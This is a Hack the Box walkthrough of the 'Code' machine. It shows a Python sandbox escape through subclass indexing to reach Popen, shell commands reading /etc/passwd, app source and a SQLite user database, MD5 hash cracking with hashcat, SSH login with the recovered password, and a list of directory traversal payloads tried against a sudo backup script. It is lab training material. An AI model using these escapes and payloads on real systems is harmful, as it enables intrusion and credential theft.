monitor displaying index.html codes

Hack the Box: Code Walkthrough

, ,

Machine Stats

OS
Linux

Rating
Easy

Enumeration

I started by running my standard nmap scan.

$ nmap -A -T4 -p- 10.10.11.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-26 20:35 CDT
Nmap scan report for 10.10.11.62
Host is up (0.0091s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=3/26%OT=22%CT=1%CU=30296%PV=Y%DS=2%DC=T%G=Y%TM=67E4
OS:AB90%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   8.97 ms 10.10.14.1
2   9.09 ms 10.10.11.62

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.88 seconds

I pulled up port 5000, “gunicorn 20.0.4” to see what we have.

This looks like some kind of Python live editor tool. Trying to run os and other related commands appears to be restricted. When searching for Python sandbox escapes I stumbled across this article: https://moshekaplan.com/posts/2012-10-26-escaping-python-sandboxes/

I started following the steps outlined in the blog post until this line of text:

“Then I was able to find the index of file in the list with a few simple lines”

I was unable to locate “file” as a function. I changed the code in the blog from:

all_classes = []
for entry in ().__class__.__bases__[0].__subclasses__():
    all_classes.append(entry.__name__)
print(all_classes.index("file"))

To:

subclasses = ().__class__.__bases__[0].__subclasses__()
for index, entry in enumerate(subclasses):
    print(f"{index}: {entry.__name__}")

In order to output all the names and their index number. This lead to a list that looked like this (when cleaned up)

Basic Types
0: type
4: int
5: bytearray
6: bytes
7: list
8: NoneType
9: NotImplementedType
12: range
13: dict
21: set
22: str
23: slice
25: complex
26: float
27: frozenset
Reference Types
1: weakref
2: weakcallableproxy
3: weakproxy
193: WeakSet
Iteration and Collection Types
14: dict_keys
15: dict_values
16: dict_items
31: tuple
32: enumerate
33: reversed
Method and Function Types
37: builtin_function_or_method
38: method
39: function
41: generator
System and Runtime Types
10: traceback
11: super
35: code
36: frame
40: mappingproxy
Threading and Concurrency
199: Thread
196: Semaphore
197: Event
198: Barrier
Date and Time
217: date
218: timedelta
219: time
220: tzinfo
Compression
200: BZ2Compressor
201: BZ2Decompressor
202: LZMACompressor
203: LZMADecompressor
Networking
317: Popen
392: HTTPConnection

User

Of these, 317 or Popen stood out right away to me. I was able to read /etc/passwd by using this, with the help of Claude AI:

print(().__class__.__base__.__subclasses__()[317]('cat /etc/passwd', shell=True, stdout=-1).communicate())

This command yielded:

(b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nsystemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:106::/nonexistent:/usr/sbin/nologin\nsyslog:x:104:110::/home/syslog:/usr/sbin/nologin\n_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\ntss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false\nuuidd:x:107:112::/run/uuidd:/usr/sbin/nologin\ntcpdump:x:108:113::/nonexistent:/usr/sbin/nologin\nlandscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin\npollinate:x:110:1::/var/cache/pollinate:/bin/false\nfwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin\nusbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nsshd:x:113:65534::/run/sshd:/usr/sbin/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\nlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\napp-production:x:1001:1001:,,,:/home/app-production:/bin/bash\nmartin:x:1000:1000:,,,:/home/martin:/bin/bash\n_laurel:x:997:997::/var/log/laurel:/bin/false\n', None) 

Running

print(globals())

Yielded some information about the app (the folder it is running from, name of the file, etc)

{'__name__': 'app', '__doc__': None, '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f4ceb20d4f0>, '__spec__': ModuleSpec(name='app', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f4ceb20d4f0>, origin='/home/app-production/app/app.py'), '__file__': '/home/app-production/app/app.py', '__cached__': '/home/app-production/app/__pycache__/app.cpython-38.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2021 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'Flask': <class 'flask.app.Flask'>, 'render_template': <function render_template at 0x7f4ceabcaee0>, 'render_template_string': <function render_template_string at 0x7f4ceabcaf70>, 'request': <Request 'http://10.10.11.62:5000/run_code' [POST]>, 'jsonify': <function jsonify at 0x7f4ceae75c10>, 'redirect': <function redirect at 0x7f4ceacdf3a0>, 'url_for': <function url_for at 0x7f4ceacdf310>, 'session': <SecureCookieSession {}>, 'flash': <function flash at 0x7f4ceacdf550>, 'SQLAlchemy': <class 'flask_sqlalchemy.extension.SQLAlchemy'>, 'sys': <module 'sys' (built-in)>, 'io': <module 'io' from '/usr/lib/python3.8/io.py'>, 'os': <module 'os' from '/usr/lib/python3.8/os.py'>, 'hashlib': <module 'hashlib' from '/usr/lib/python3.8/hashlib.py'>, 'app': <Flask 'app'>, 'db': <SQLAlchemy sqlite:////home/app-production/app/instance/database.db>, 'User': <class 'app.User'>, 'Code': <class 'app.Code'>, 'index': <function index at 0x7f4ce9c198b0>, 'register': <function register at 0x7f4ce9c19b80>, 'login': <function login at 0x7f4ce9c19c10>, 'logout': <function logout at 0x7f4ce9c19ca0>, 'run_code': <function run_code at 0x7f4ce9c19e50>, 'load_code': <function load_code at 0x7f4ce9a94040>, 'save_code': <function save_code at 0x7f4ce9a941f0>, 'codes': <function codes at 0x7f4ce9a943a0>, 'about': <function about at 0x7f4ce9a94550>} 

Here I see the app is running from /home/app-production – I decided to see if I could read user.txt from this.

print(().__class__.__base__.__subclasses__()[317]('cat /home/app-production/user.txt', shell=True, stdout=-1).communicate())

And this yields user.txt

(b'7cb19b88c8a04496d8809157bdc3a983\n', None) 

Looking back at the globals output, I see that the file that is currently running is at /home/app-production/app/app.py. I decided to read this file.

print(().__class__.__base__.__subclasses__()[317]('cat /home/app-production/app/app.py', shell=True, stdout=-1).communicate())

Which yields:

(b'from flask import Flask, render_template,render_template_string, request, jsonify, redirect, url_for, session, flash\nfrom flask_sqlalchemy import SQLAlchemy\nimport sys\nimport io\nimport os\nimport hashlib\n\napp = Flask(__name__)\napp.config[\'SECRET_KEY\'] = "7j4D5htxLHUiffsjLXB1z9GaZ5"\napp.config[\'SQLALCHEMY_DATABASE_URI\'] = \'sqlite:///database.db\'\napp.config[\'SQLALCHEMY_TRACK_MODIFICATIONS\'] = False\ndb = SQLAlchemy(app)\n\nclass User(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n username = db.Column(db.String(80), unique=True, nullable=False)\n password = db.Column(db.String(80), nullable=False)\n codes = db.relationship(\'Code\', backref=\'user\', lazy=True)\n\n\n\nclass Code(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n user_id = db.Column(db.Integer, db.ForeignKey(\'user.id\'), nullable=False)\n code = db.Column(db.Text, nullable=False)\n name = db.Column(db.String(100), nullable=False)\n\n def __init__(self, user_id, code, name):\n self.user_id = user_id\n self.code = code\n self.name = name\n\n@app.route(\'/\')\ndef index():\n code_id = request.args.get(\'code_id\')\n return render_template(\'index.html\', code_id=code_id)\n\n\n@app.route(\'/register\', methods=[\'GET\', \'POST\'])\ndef register():\n if request.method == \'POST\':\n username = request.form[\'username\']\n password = hashlib.md5(request.form[\'password\'].encode()).hexdigest()\n existing_user = User.query.filter_by(username=username).first()\n if existing_user:\n flash(\'User already exists. Please choose a different username.\')\n else:\n new_user = User(username=username, password=password)\n db.session.add(new_user)\n db.session.commit()\n flash(\'Registration successful! You can now log in.\')\n return redirect(url_for(\'login\'))\n \n return render_template(\'register.html\')\n\n@app.route(\'/login\', methods=[\'GET\', \'POST\'])\ndef login():\n if request.method == \'POST\':\n username = request.form[\'username\']\n password = hashlib.md5(request.form[\'password\'].encode()).hexdigest()\n user = User.query.filter_by(username=username, password=password).first()\n if user:\n session[\'user_id\'] = user.id\n flash(\'Login successful!\')\n return redirect(url_for(\'index\'))\n else:\n flash(\'Invalid credentials. Please try again.\')\n return render_template(\'login.html\')\n\n@app.route(\'/logout\')\ndef logout():\n session.pop(\'user_id\', None)\n flash(\'You have been logged out.\')\n return redirect(url_for(\'index\'))\n\n@app.route(\'/run_code\', methods=[\'POST\'])\ndef run_code():\n code = request.form[\'code\']\n old_stdout = sys.stdout\n redirected_output = sys.stdout = io.StringIO()\n try:\n for keyword in [\'eval\', \'exec\', \'import\', \'open\', \'os\', \'read\', \'system\', \'write\', \'subprocess\', \'__import__\', \'__builtins__\']:\n if keyword in code.lower():\n return jsonify({\'output\': \'Use of restricted keywords is not allowed.\'})\n exec(code)\n output = redirected_output.getvalue()\n except Exception as e:\n output = str(e)\n finally:\n sys.stdout = old_stdout\n return jsonify({\'output\': output})\n\n@app.route(\'/load_code/<int:code_id>\')\ndef load_code(code_id):\n if \'user_id\' not in session:\n flash(\'You must be logged in to view your codes.\')\n return redirect(url_for(\'login\'))\n code = Code.query.get_or_404(code_id)\n if code.user_id != session[\'user_id\']:\n flash(\'You do not have permission to view this code.\')\n return redirect(url_for(\'codes\'))\n return jsonify({\'code\': code.code})\n\n\n@app.route(\'/save_code\', methods=[\'POST\'])\ndef save_code():\n if \'user_id\' not in session:\n return jsonify({\'message\': \'You must be logged in to save code.\'}), 401\n user_id = session[\'user_id\']\n code = request.form.get(\'code\')\n name = request.form.get(\'name\')\n if not code or not name:\n return jsonify({\'message\': \'Code and name are required.\'}), 400\n new_code = Code(user_id=user_id, code=code, name=name)\n db.session.add(new_code)\n db.session.commit()\n return jsonify({\'message\': \'Code saved successfully!\'})\n\n\n@app.route(\'/codes\', methods=[\'GET\', \'POST\'])\ndef codes():\n\n if \'user_id\' not in session:\n flash(\'You must be logged in to view your codes.\')\n return redirect(url_for(\'login\'))\n\n user_id = session[\'user_id\']\n codes = Code.query.filter_by(user_id=user_id).all()\n\n if request.method == \'POST\':\n code_id = request.form.get(\'code_id\')\n code = Code.query.get(code_id)\n if code and code.user_id == user_id:\n db.session.delete(code)\n db.session.commit()\n flash(\'Code deleted successfully!\')\n else:\n flash(\'Code not found or you do not have permission to delete it.\')\n return redirect(url_for(\'codes\')) \n return render_template(\'codes.html\',codes=codes)\n\n\n@app.route(\'/about\')\ndef about():\n return render_template(\'about.html\')\n\nif __name__ == \'__main__\':\n if not os.path.exists(\'database.db\'):\n with app.app_context():\n db.create_all()\n app.run(host=\'0.0.0.0\', port=5000)\n', None) 

When cleaned up, this looks like this:

from flask import Flask, render_template, render_template_string, request, jsonify, redirect, url_for, session, flash
from flask_sqlalchemy import SQLAlchemy
import sys
import io
import os
import hashlib

app = Flask(__name__)
app.config['SECRET_KEY'] = "7j4D5htxLHUiffsjLXB1z9GaZ5"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password = db.Column(db.String(80), nullable=False)
    codes = db.relationship('Code', backref='user', lazy=True)

class Code(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    code = db.Column(db.Text, nullable=False)
    name = db.Column(db.String(100), nullable=False)

    def __init__(self, user_id, code, name):
        self.user_id = user_id
        self.code = code
        self.name = name

@app.route('/')
def index():
    code_id = request.args.get('code_id')
    return render_template('index.html', code_id=code_id)

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        existing_user = User.query.filter_by(username=username).first()
        
        if existing_user:
            flash('User already exists. Please choose a different username.')
        else:
            new_user = User(username=username, password=password)
            db.session.add(new_user)
            db.session.commit()
            flash('Registration successful! You can now log in.')
            return redirect(url_for('login'))
    
    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        user = User.query.filter_by(username=username, password=password).first()
        
        if user:
            session['user_id'] = user.id
            flash('Login successful!')
            return redirect(url_for('index'))
        else:
            flash('Invalid credentials. Please try again.')
            return render_template('login.html')
    
    return render_template('login.html')

@app.route('/logout')
def logout():
    session.pop('user_id', None)
    flash('You have been logged out.')
    return redirect(url_for('index'))

@app.route('/run_code', methods=['POST'])
def run_code():
    code = request.form['code']
    old_stdout = sys.stdout
    redirected_output = sys.stdout = io.StringIO()
    
    try:
        # Check for potentially dangerous keywords
        restricted_keywords = ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'subprocess', '__import__', '__builtins__']
        for keyword in restricted_keywords:
            if keyword in code.lower():
                return jsonify({'output': 'Use of restricted keywords is not allowed.'})
        
        exec(code)
        output = redirected_output.getvalue()
    except Exception as e:
        output = str(e)
    finally:
        sys.stdout = old_stdout
    
    return jsonify({'output': output})

@app.route('/load_code/<int:code_id>')
def load_code(code_id):
    if 'user_id' not in session:
        flash('You must be logged in to view your codes.')
        return redirect(url_for('login'))
    
    code = Code.query.get_or_404(code_id)
    if code.user_id != session['user_id']:
        flash('You do not have permission to view this code.')
        return redirect(url_for('codes'))
    
    return jsonify({'code': code.code})

@app.route('/save_code', methods=['POST'])
def save_code():
    if 'user_id' not in session:
        return jsonify({'message': 'You must be logged in to save code.'}), 401
    
    user_id = session['user_id']
    code = request.form.get('code')
    name = request.form.get('name')
    
    if not code or not name:
        return jsonify({'message': 'Code and name are required.'}), 400
    
    new_code = Code(user_id=user_id, code=code, name=name)
    db.session.add(new_code)
    db.session.commit()
    
    return jsonify({'message': 'Code saved successfully!'})

@app.route('/codes', methods=['GET', 'POST'])
def codes():
    if 'user_id' not in session:
        flash('You must be logged in to view your codes.')
        return redirect(url_for('login'))
    
    user_id = session['user_id']
    codes = Code.query.filter_by(user_id=user_id).all()
    
    if request.method == 'POST':
        code_id = request.form.get('code_id')
        code = Code.query.get(code_id)
        
        if code and code.user_id == user_id:
            db.session.delete(code)
            db.session.commit()
            flash('Code deleted successfully!')
        else:
            flash('Code not found or you do not have permission to delete it.')
        
        return redirect(url_for('codes'))
    
    return render_template('codes.html', codes=codes)

@app.route('/about')
def about():
    return render_template('about.html')

if __name__ == '__main__':
    if not os.path.exists('database.db'):
        with app.app_context():
            db.create_all()
    app.run(host='0.0.0.0', port=5000)

One interesting takeaway is to be able to see the restricted wordlist for the application- not surprisingly, os, exec, eval, __builtins__ all appear here.

restricted_keywords = ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'subprocess', '__import__', '__builtins__']

Now I decided to try to read the database.db file.

print(().__class__.__base__.__subclasses__()[317]('cat /home/app-production/app/instance/database.db', shell=True, stdout=-1).communicate())

The output is full of \x00 characters, so I removed those and was left with:

(b'SQLite format 3\x10\x01\x01@ \x0e\x04\x02\x04\x01\x0e.?\xd9\r\x0f\xf8\x03\x0eO\x0f"\x0f\xcf\x0eO\x81P\x03\x07\x17\x15\x15\x01\x83\x03tablecodecode\x04CREATE TABLE code (\n\tid INTEGER NOT NULL, \n\tuser_id INTEGER NOT NULL, \n\tcode TEXT NOT NULL, \n\tname VARCHAR(100) NOT NULL, \n\tPRIMARY KEY (id), \n\tFOREIGN KEY(user_id) REFERENCES user (id)\n)\x81*\x01\x07\x17\x15\x15\x01\x827tableuseruser\x02CREATE TABLE user (\n\tid INTEGER NOT NULL, \n\tusername VARCHAR(80) NOT NULL, \n\tpassword VARCHAR(80) NOT NULL, \n\tPRIMARY KEY (id), \n\tUNIQUE (username)\n)\'\x02\x06\x17;\x15\x01indexsqlite_autoindex_user_1user\x03\x08\r\x02\x0f\xa3\x0f\xcf\x0f\xa3\x0fQ\x0fQR*\x02\x04\x19Mmartin3de6f30c4a09c27fc71932bfc68474be/\x01\x04#Mdevelopment759b74ce43947f5f4c91aeddc3e5bad3\n\x02\x0f\xe6\x0f\xf1\x0f\xe6\x0f\xd6\x0f\xdd\x10\n\x03\x19\x01martin\x02\x0e\x03#\tdevelopment\r\x01\x0f\xda\x0f\xda\x0f\xb4&$\x01\x05\tC\x15print("Functionality test")Test', None) 

From this output I pulled out the following users and hashes:

martin:3de6f30c4a09c27fc71932bfc68474be
development:759b74ce43947f5f4c91aeddc3e5bad3

I threw these hashes in CrackStation, https://crackstation.net/ which resulted in the recovery of one hash- the one for martin.

martin:nafeelswordsmaster

You can also use hashcat to find this as well…

└──╼ [★]$ hashcat -m 0 3de6f30c4a09c27fc71932bfc68474be /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD EPYC 7543 32-Core Processor, skipped

OpenCL API (OpenCL 2.1 LINUX) - Platform #2 [Intel(R) Corporation]
==================================================================
* Device #2: AMD EPYC 7543 32-Core Processor, 3923/7910 MB (988 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Host memory required for this attack: 1 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster       

We can now SSH in as martin

└──╼ [★]$ ssh martin@10.10.11.62
martin@10.10.11.62's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

Last login: Thu Mar 27 03:35:41 2025 from 10.10.14.2
martin@code:~$ 

Root

I immediately ran sudo -l and found the following:

martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

Looking into the backy.sh file, this is what I found:

#!/bin/bash
if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}
for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done
/usr/bin/backy "$json_file"

This script uses a json file as input, uses jq to sanitize paths, and checks to see if the directories to archive start with /var or /home. There is a sample input file to be found at /home/martin/backups, called task.json

martin@code:~/backups$ cat task.json 
{
	"destination": "/home/martin/backups/",
	"multiprocessing": true,
	"verbose_log": false,
	"directories_to_archive": [
		"/home/app-production/app"
	],

	"exclude": [
		".*"
	]
}

My HTB partner and I did some searching for directory traversal payloads and shoved some example ones in a file

{
        "destination": "/tmp/",
        "multiprocessing": true,
        "verbose_log": true,
        "directories_to_archive": [
                "/home/..\/root/root.txt",
                "/home/%2e%2e%2f/root/root.txt",
                "/home/%252e%252e%252f/root/root.txt",
                "/home/%c0%ae%c0%ae%c0%af/root/root.txt",
                "/home/%uff0e%uff0e%u2215/root/root.txt",
                "/home/%uff0e%uff0e%u2216/root/root.txt",
                "/home/..././root/root.txt",
                "/home/..././root/root.txt"
        ],

        "exclude": [
        ]
}

Which lead to this when run:

martin@code:~$ sudo /usr/bin/backy.sh ./task2.json
2025/03/28 17:56:06 🍀 backy 1.2
2025/03/28 17:56:06 📋 Working with ./task2.json ...
2025/03/28 17:56:06 💤 Nothing to sync
